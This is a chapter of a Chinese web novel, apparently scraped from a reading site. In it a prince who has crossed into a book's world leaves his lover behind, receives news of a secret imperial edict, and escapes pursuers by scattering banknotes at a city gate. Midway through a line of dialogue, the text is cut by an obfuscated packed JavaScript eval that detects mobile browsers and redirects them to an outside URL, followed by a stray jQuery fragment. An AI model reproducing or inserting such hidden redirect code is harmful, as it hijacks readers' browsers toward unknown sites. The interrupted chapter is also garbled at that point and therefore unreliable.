6.离去

作品:《殿下为何如此心虚

    马车四周舆门禁合,窗纱垂闭,一点风也透不进来,可周溢年仿若浸在森然之中,即将脱之于口的消遣调笑猛然滞于喉中。


    人声渐消,淅淅雨声充耳,雨势延绵不停。


    马蹄落下,车马疾停。


    护卫掀开幕帘:“两位大人。”


    周溢年打眼一看,面前是榷城偏僻处的一个客栈,正是他们这个月落脚的地方。


    他们一路行来装作商队,除了暗卫,自然也有一些明面上的随从,活着的都还在客栈里住着。


    周溢年回过头对楼轻霜说:“透露行踪的眼线有两个人,都是随行侍从,知道的不多。昨夜暗卫把寻到你的消息告知所有人后,就这两人夜半离了客栈。”


    “这一回假戏真做的苦肉戏没白干,没耽误陛下要的东西,顺带把楼禀义逼出来,还连钉子也拔干净了。”


    “这两个钉子现在还在客栈里面,我一直派人盯着,他们还不知已经暴露了。怎么处置?捉了再审?”


    楼轻霜摇头。


    周溢年正待惊奇,却听这人说:“背叛的人何须再留着处置?”


    “直接杀?”


    那摇头干什么?


    “让随行侍从自行回程,告知他们匪寇将除,我们不需要太多随从,打算轻装简行赶回帝都。”


    “不必我们多此一举。让他们走,楼禀义不会留活口。”


    -


    乌陵回到画舫之时,雨势正好歇了。


    但他刚才赶路都在雨中,回来之时,唯有幕篱遮挡之处不算狼狈。


    “世子?”


    沈持意坐在栏边,手中仍抓着那白玉龙环,闻言,回过神来,脱口而出:“我完了!”


    “什么完了?世子,你怎么了?是身子还不适吗?”


    沈持意转头,瞧见乌陵湿淋淋的:“怎么不等雨停了再回来?”


    问完他自己便突然明白过来——那自然是因为不敢等。


    “我没事,”他站起身来,“你收到信了?到底是什么消息?”


    乌陵张口要说。


    沈持意猛地抬手止住对方,带着乌陵回到画舫小室内,合紧所有门窗。


    他摘下幕篱,暂且压下木沉雪和白玉龙环之事,又问了一遍乌陵:“是什么消息?”


    乌陵低声答道:“消息里说,宫中好像出了大事,进出严密许多。”


    宫中出的大事沈持意知道——太子应当是病逝了。


    原著只写了正月太子病逝,没有仔细写是正月的什么日子,也许就是这几天。


    太子只有不到八岁,是宣庆帝幼子。宫中这么多年,一直子嗣不旺,拢共不过几位皇子,除了被废的先太子畏罪疯了,其余的皇子或意外离世,或因谋反获罪自尽,到如今竟然成年的健全皇子一个也没有,只剩下这个幼子。


    唯一的皇子没了,事关重大,宫中秘不发丧,严密封锁一切消息。


    满朝文武都在一无所知地过年节,没人知晓东宫出事了。


    别说是护卫宫城的禁卫军,就算是封锁消息的人,都未必知晓封锁的是什么消息。


    沈持意完全得了个穿书的便宜,这才一清二楚。


    正因为清楚,他全然不慌。


    “就这么个消息?”他问。


    储位空悬,宫城腌臜,确实是大事。但和他这个天高皇帝远的偏远藩王有何干系?何至于十万火急送消息来榷城?


    乌陵却说:“封锁消息的后两天,宫里下了一道密旨,遣了一队飞云卫赶赴苍州,给苍王世子宣旨。”


    沈持意:“?”


    苍王世子?


    好耳熟的称呼。


    我吗?


    他抬手指了一下自己。


    乌陵点头如捣蒜。


    沈持意:“???”


    原著里没这回事啊?


    苍州从头到尾就没有什么戏份啊??


    皇帝最有可能给他下的旨意应当是封王的旨意。


    但是太子刚死,皇帝怎么可能这么敏感的时节突然给他封王?封王这事也压根不需要秘密传旨啊。


    此事难不成和太子病逝有什么关系?


    可是太子病逝,来他这个荒芜偏僻的苍州宣旨干什么?


    沈持意登时心慌意乱。


    他本都已经抓着那白玉龙环坐下了,闻言如坐针毡,又猛地站起。


    低头一看手中白玉,木沉雪之事又勾起一片心烦。


    他试图辨别这环佩有没有地方同原著里描写的不一样,也许并不是那个重要道具。但乌陵来之前他便一直在做这件事,显然并没有成功过。


    他甚至完全想不起原著哪里有木沉雪这一号人物。


    一边是和原著千丝万缕却又毫无痕迹的木沉雪——他还招惹了人家;一边是莫名其妙还未知内容的圣旨——也可能和原著重要剧情有关……


    若不是他意识里那个系统能够出现的次数只剩两次,他必然是要问一问到底怎么回事。


    沈持意紧抿双唇,耷拉着目光,晨起时分本就随意拾掇的被幕篱勾得碎发乱飘,更显烦乱。


    “世子,我们现在怎么办?”乌陵正好问他,“木公子呢?怎么不见他和他的家里人?”


    沈持意轻轻摇头:“他出去办事了。”


    他重重思量着,不再开口。


    乌陵对他躬了躬身,无声退下。


    回来时,乌陵换下了被雨淋湿的衣裳,还端着一盘绿豆糕与沏好的径山春雨进来。


    茶香袅袅,飘入口鼻,驱寒送暖。


    他虽不知白玉龙环一事,但也知沈持意心烦——单单是要宣往苍州王府的密旨,便事关重大了。


    乌陵把沈持意手中的环佩拿下来放在八仙桌上,“世子哪来的白玉?好生漂亮……”


    他拿起沾了热水的巾帕,为沈持意净了手,说:“晨起之后还未进食,吃点东西喝点茶吧。也许当真只是封王或是年节赏赐的圣旨,最近风波太多,因此圣上用了密旨的方式以防生事。世子若是忧虑,等木公子回来,我们告别一二,今夜便快马加鞭赶回苍州接旨。”


    沈持意往日里遇着什么烦心事,吃喝一顿也就过去了。


    可他现在实在没心思,再度摇头摆手,问:“什么时辰了?”


    “申时。”


    沈持意一愣。


    他起身,开窗一看。


    雨过天晴,碧湖却仿佛停滞在了细雨中,烟波渺渺,舟船悠悠。


    天光未褪,苍穹边沿却已经捧着落日,摊开的暖黄渐渐盛开,眼看就要画成一幅遮天盖地的黄昏。


    江南烟雨不知他心中烦扰,正同寒风一道怡然候着星夜降临。


    那人离去前说,若早,黄昏时刻便会归来……


    沈持意猛然合窗,下定决心,转回身疾道:“乌陵,收拾东西,走!回苍州。”


    “现在?世子不等木公子回来……?”


    “对,现在。算了,时间紧迫,行李不要了,带上银票就好。哦对还有找茶点师父买的绿豆糕配方,径山春雨也带上几盒。”


    乌陵一一记在心中,从小室隐柜中,搬出了一个狭长木盒。


    “世子的配剑……”


    木盒打开,一把薄如蝉翼、剑身映光的长剑映入眼帘。


    剑身之上,刻有“流风”二字。


    这把剑的来处还算有些说法。


    沈持意穿了两次书,上一回穿书,是同一个世界背景的武侠小说。他的身份是大兴朝武学世家的天才,只是天生绝症,没过二十便死了,这才再度穿成了现在的苍王世子。


    第一次穿书的记忆还在,他无需拜师,自小习武。前些年,他年岁大了,便凭借着自己上一世知晓的事情,寻到了铸剑大师太叔况,求铸一柄随身之剑。彼时太叔况已近天年,不愿铸杀伐利器,最终锻造了一把可缠缚腰间隐于身的软剑。


    此剑虽削铁如泥,却轻薄易藏,掩于腰带之下甚至毫无痕迹,主为防身之器,非杀戮之锋,出剑如流风回雪,似婉转,似冷然,剑光闪过,清风拂面。


    因此名为“流风”。


    沈持意这么些年,若是在外行走,便会将此剑缠于腰间。


    锻剑后不到一年,太叔况便不在人世,流风剑意外成了这位铸剑大师的绝唱。


    沈持意挥袖而过,两指并拢,拂过剑身。


    如此宝贵又伴身已久的名剑,他最后只是碰了碰,没有拿起。


    “留下吧。”他说。


    木沉雪既手握白玉龙环,今晨来寻的那些人又各个都是帝都口音,来历不俗,必然是局中人。此后山高水远,那人指不定会碰到多少危险,有这把剑傍身也好。


    他将白玉龙环拿起,随意找了个空的锦囊,把环佩放进去,置于剑盒之中,盖上盒子,同流风剑放在一道,就这么大摇大摆地放在了桌上。


    “世子是想把东西留在木公子这,等下次相见再取吗?”乌陵说,“要给木公子留封信约定一下再见的时间地点吗?我现在备书墨……”


    沈持意叹然轻笑一声。


    他做了决定,反倒没了优柔,爽快道:“不用了。”


    乌陵一愣。


    此言所指,显然是要彻底断了,再无相见之日的意思。


    乌陵怔愣了好一会。


    “我头一次见世子同人谈情说爱……先前劝世子谨慎,你还驳了我。怎么昨夜你们都……我们就这么走了?”


    乌陵说着一惊,“这位木公子难道当


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802691|174783||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    真有什么问题!?”


    沈持意不想乌陵误会木沉雪,赶忙摇头:“与他无关,是我行事莽撞,对不住他。你先前劝得对,我该先行确定他的身份的。”


    若木沉雪只是大兴朝芸芸众生中的一人,他们在江南发生了什么都可以。


    可木沉雪是手握白玉龙环的人。他也是个本该待在苍王府养病的苍王世子。他们本该此生不交汇。


    主线大势无可更改,牵扯在原文中的人物命运在结局之前早已写好了轨迹。


    他已经在这此事上栽了一次,万万不能再栽一次。


    再栽一次,害人害己。


    乌陵不懂他所言何意,只好同他一起迅速收拾了一番。


    两人一同戴上幕篱下了船。


    乌陵回来时买了马,给岸边一户人家塞了碎银,拴在那户人家门口。


    沈持意取到马,翻身上马时,衣摆被风撩起,他忽而觉着一股冷意环绕周身。


    他在马背上坐稳,勒紧缰绳,顿了顿,低头瞧见大氅垂下的衣摆。


    原来刚才一直没觉着冷,是因为这身毛氅一直披在身上忘了脱下。他只归还了白玉,却把披风穿走了。


    不论昨晚木沉雪为他解毒,是出自本心,还是出自善心,他的木兄之为人着实清风明月。


    他只是找借口随口胡诌说自己冷,这人便瞎着眼为他系上毛氅。


    江南正月的风还是吹进了沈持意胸膛中,如风过旷野,空荡荡,白茫茫。


    他轻晃马鞭,犹豫片刻,还是转回头去。


    不远处画舫依然静静立在岸边,景台甲板楼阁之上空无一人。


    黄昏已经披覆而下,将碧湖染成氤氲暖色,静谧的画舫置身其中,竟有几分萧条之意。


    “世子,”乌陵见状,“若是舍不得,为何不留点只言片语?便是要一刀两断,言明清楚也好,免得木公子记恨你。”


    “记恨才好。他那样一个为了救人春宵一度却认了夫妻的人,我解释什么都无用的。他多半会想与我同舟共济,更是放不下了。”


    可角色命运既定,南墙就那么一面,他已经撞破了,哪来的能耐再撞一次。


    就这么赶回去接旨,对他好,也对木沉雪好。


    他扬起马鞭:“我现在走了,对他而言嘛,也就是一个春宵一度的负心人而已。君子磊落大方,也许不过几日他便抛诸脑后,另觅良人了。”


    马蹄踏泥,破风而起。


    乌陵赶忙跟上。


    两人策马来到城门口,刚越过守门官兵,沈持意一拉缰绳,陡然放缓行速,仿若悠然赏景,边骑在马上缓缓而行,边低声道:“有人跟着我们。从我们上马离开画舫的那一刻就一直在后面。”


    乌陵神色一变。


    “……是木公子的人?”


    沈持意叹道:“我也不知。这几人隐匿功夫极好,我下船的时候都没有察觉,是后来我们骑马,这些人藏在后头用轻功跟着,我才发现。”


    他继续装作领着侍从缓行一般,低声道:“我们剩的银票多吗?”


    他向来不管这些,银钱大多在乌陵身上。


    乌陵掏出来一叠,还未说话,沈持意干脆一把抓过,只抽了两张出来放回乌陵手中。


    “留两张应当够用了。”


    “所以世子打算用这些钱收买他们?”


    沈持意:“……”


    正值昼夜交替时分,进城的百姓尤其多,他们两人在马道上,偏头看去,步行的百姓长长一队。


    出城的人不多,零零星星,跟着他们的人就在里面。


    沈持意缓缓踱在马道上,眼看就要行出人群。


    他嘴角微弯,藏在白纱下的双眸滑过狡黠之色,隐在暗色中,却如黑夜晨星般灼灼华亮。


    他轻轻哼笑了一声,骤然一个扬手。


    一大沓银票顷刻间尽皆撒往空中!!!


    他立时扬起马鞭,对乌陵说:“走!”


    马蹄声响起。


    青年身披玄色大氅、戴着白纱幕篱的,打马恣意,举止潇洒,衣摆、纱底随风而晃。


    玄色身影同身侧的仆从一道,转瞬间行至远方。


    城门口已然一片乱声。


    “钱!有人撒钱!”


    “五十两!!这张五十两!!!”


    “菩萨撒钱了——!!”


    “给我!是我捡到的!”


    官兵急忙高声怒喊:“不准生乱!站好!谁扔的银票!?”


    无人应答。


    人群乱作一团,进城的长队散而拥挤,几乎将整个城门口堵住。


    待到官兵喝令整肃,城门口总算安静下来之时,那一掷千金的青年早已没了身影,不知去往何方。